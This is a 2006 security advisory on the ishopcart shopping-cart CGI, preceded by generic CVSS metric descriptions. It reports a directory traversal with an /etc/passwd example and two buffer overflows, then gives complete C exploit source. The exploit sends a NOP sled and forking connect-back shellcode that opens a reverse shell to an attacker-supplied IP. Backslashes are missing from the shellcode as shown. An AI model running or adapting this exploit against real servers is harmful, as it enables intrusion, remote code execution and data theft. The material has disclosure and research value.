The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements
Present
AT
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Vendor: ishopcart inc
Vendor Site: ishopcart.com
Vendor Status: notified via telephone
While spending a night auditing I have found 2 buffer overflows and 1
directory traversal in the ishopcart cgi, which is written in C.
The directory traversal is caused by how the cgi chooses to show pages.
If, for example, the CGI is tould to show an order form, the order
form's name is taken as argv[1] and opens this file and prints it, ie:
/cgi-bin/easy-scart.cgi?../../../../../../../etc/passwd
The first buffer overflow is in main()'s szTmp[100] variable. argv[1] is
placed in this variable through a sprintf, although no check is made on
the size of argv[1] before putting it in szTmp:
sprintf(szTmp,"%s",argv[1]);
The other buffer overflow (of which I have succesfuly exploited) lies in
main() also, but is overflowed in vGetPost(). char szBuf[4000]; is
passed to vGetPost() under the circumstance that argv[1] contains
specific criteria. vGetPost() reads POST data until the word "Submit" is
encountered, doing absolutely no bounds checking on the ammount of data
supplied.
When notified via telephone, the author claimed to be in the process of
fixing these errors, and at the same time took ishopcart.com offline.
Provided is the exploit code that spawns a connect back shell. It has been tested both localy and remotely
and has proved to work 100%
The real issue lies in the fact that this is a shopping cart system.
Also, since this is a cgi script, apache forks before executing it and
hence does not die on unsuccessful attempts, meaning that combined with
a massive 4000 NOP buffer, brute forcing of the offset is possible
leading to a theoretical 100% probability of remote code execution.
The good news is that this program doesn't seem to be common. If you you
would like to view the site and the code, search 'ishopcart' on google
and click it's cached link, then hit the source code link and you'll see
easy-scart.c through easy-scart6.c (all, of which, are vulnerable)
--K-sPecial
/* Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)
* Name: ishopcart-cgi-bof.c (<= easy-scart6.c)
* Date: 5/25/2006
* Version:
* 1.00 (5/25/2006) - ishopcart-cgi-bof.c created
*
* Description: there is an overflow in the vGetPost() function, it does not do any size checking on the inputed data but instead
* reads until the word "Submit" is encountered, in turn overflowing pszBuf which points to a 4000 byte buffer in main(). Complete
* code execution is spawned, with the code being a connectback shell.
*
* Notes: I could not for the life of me find any connect back shellcode that forks! This code needed to fork because apache
* was killing the connect back process as soon as it connected. So, in turn, I have modified netric's callback shellcode with
* some forking shellcode to accomplish the workaround.
*
* Compile: gcc -o icb ishopcart-cgi-bof.c -std=c99
*/
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <getopt.h>
#include <errno.h>
#include <stdlib.h>
#define PORT 80
#define CB_PORT31337
#define IP_OFFSET 33 + 13
#define PORT_OFFSET 39 + 13 // + 13 to these for the new forking mod added to cb[]
#define OFFSET0x41414141 // find your own damn offset, the code works 100% any fault is on yourself
void changeip(char *ip);
void changeport(char *code, int port, int offset);
void help(void);
// netric callback shellcode
char cb[] =
"x31xc0x31xdb"
"xb0x02" // movb $0x2,%al / sys_fork (2)
"xcdx80" // int $0x80
"x38xc3" // cmpl %ebx,%eax / check if child; %eax = 0x0
"x74x05" // je 0x5 / jump after the exit if we're the child
// sys_exit (1)
"x8dx43x01" // leal 0x1(%ebx),%eax / sys_exit (1) if we're the parent
"xcdx80" // int $0x80 / interrupt 80 to execute sys_exit
"x31xc9x51xb1"
"x06x51xb1x01x51xb1x02x51"
"x89xe1xb3x01xb0x66xcdx80"
"x89xc2x31xc0x31xc9x51x51"
"x68x41x42x43x44x66x68xb0"
"xefxb1x02x66x51x89xe7xb3"
"x10x53x57x52x89xe1xb3x03"
"xb0x66xcdx80x31xc9x39xc1"
"x74x06x31xc0xb0x01xcdx80"
"x31xc0xb0x3fx89xd3xcdx80"
"x31xc0xb0x3fx89xd3xb1x01"
"xcdx80x31xc0xb0x3fx89xd3"
"xb1x02xcdx80x31xc0x31xd2"
"x50x68x6ex2fx73x68x68x2f"
"x2fx62x69x89xe3x50x53x89"
"xe1xb0x0bxcdx80x31xc0xb0"
"x01xcdx80";
int main (int argc, char **argv) {
int sock;
unsigned offset = OFFSET, ipaddr, i = 0;
unsigned short port = PORT, cbport = CB_PORT;
struct sockaddr_in server;
char *host, *location, *cbip, buff[5120], opt;
host = location = cbip = 0;
while ((opt = getopt(argc, argv, "i:p:o:l:1:2:h")) != -1) {
switch(opt) {
case 'i':
host = optarg;
break;
case 'p':
sscanf(optarg, "%hu", &port);
break;
case 'o':
sscanf(optarg, "%x", &offset);
break;
case 'l':
location = optarg;
break;
case '1':
cbip = optarg;
break;
case '2':
sscanf(optarg, "%hu", &cbport);
break;
}
}
if (!(host && location && cbip)) {
puts("-!> a required argument was missingn");
help();
exit(1);
}
changeip(cbip);
changeport(cb, cbport, PORT_OFFSET);
if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
printf("socket() error: %sn", strerror(errno));
exit(1);
}
server.sin_port = htons(port);
if ((ipaddr = inet_addr(host)) == -1) {
struct hostent *myhost;
if ((myhost = gethostbyname(host)) == 0) {
printf("-!> failed to resolve host '%s'n", host);
exit(1);
}
memcpy((char*) &server.sin_addr, myhost->h_addr, myhost->h_length);
}
else server.sin_addr.s_addr = ipaddr;
server.sin_family = AF_INET;
memset(&(server.sin_zero), 0, 8);
if (connect(sock, (struct sockaddr *) &server, sizeof(server)) != 0) {
printf("-!> connect() to '%s:%hu' failed: %sn", host, port, strerror(errno));
exit(1);
}
sprintf(buff, "GET %s?sslinvoice HTTP/1.1nHost: %snContent-Length: %unn", location, host, 4000 + sizeof(cb) + 512 - 1 + strlen("Submit"));
send(sock, buff, strlen(buff), 0);
for (0; i < 4000; i++) *(buff+i) = 0x90;
for (unsigned a = 0; a < sizeof(cb) - 1; i++, a++) *(buff+i) = *(cb+a);
for (unsigned a = 0; a < 128; i += 4, a++) memcpy(buff+i, &offset, 4);
strcpy(buff+4000+sizeof(cb)+512 - 1, "Submitn");
send(sock, buff, 4000 + sizeof(cb) + 512 - 1 + strlen("Submit"), 0);
}
void help (void) {
char *string = "ishopcart CGI shopcart buffer overflow exploit by K-sPecial (http://xzziroz.net) of .aware (http://awarenetwork.org)nLicense: GPL (5/24/2006)nn"
"-i <%s> t - specifies the vulnerable host; default 80n"
"-p [%hu] t - specifies the vulnerable host's portn"
"-l <%s> t - specifies the vulnerable CGI locationn"
"-o [%x] t - forces an explicit offsetn"
"-1 <%s> t - specifies the connect back ipn"
"-2 [%hu] t - specifies the connect back port; default 31337n"
"-h t - shows this helpn";
puts(string);
}
void changeip(char *ip) {
char *ptr;
ptr=cb+IP_OFFSET;
/* Assume Little-Endianess.... */
*((long *)ptr)=inet_addr(ip);
}
// ripped from some of snooq's code
void changeport(char *code, int port, int offset) {
char *ptr;
ptr=code+offset;
/* Assume Little-Endianess.... */
*ptr++=(char)((port>>8)&0xff);
*ptr++=(char)(port&0xff);
}
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